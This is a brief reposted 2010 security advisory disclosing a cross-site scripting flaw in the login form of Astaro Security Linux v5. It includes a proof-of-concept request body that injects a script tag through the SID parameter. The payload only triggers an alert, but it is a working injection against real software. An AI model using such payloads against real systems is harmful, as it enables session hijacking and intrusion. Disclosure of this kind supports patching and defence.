Astaro Security Linux v5 (XSS) Cross Site Scripting Vulnerab
Posted on 24 March 2010
================================================================= Astaro Security Linux v5 (XSS) Cross Site Scripting Vulnerability ================================================================= Program : Astaro Security Linux v5 PoC : XSS Homepage : http://www.astaro.com/ Found by : Vincent Hautot Contact : v.hautot () sysdream com //----- Application description Astaro Security Linux is a complete network security solution that protects organizations against a wide range of threats to security and productivity. //----- Description of vulnerability This Xss was found on index.fpl page in the login form. Usig this flaw it is possible to execute Javascript code. Posting using multipart/form-data does not work ; use this data instead: username=my@fucking.mail&password=DTC&SID=>"><script>alert("XSS !!!")</script> &cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0 # Inj3ct0r.com [2010-03-24]
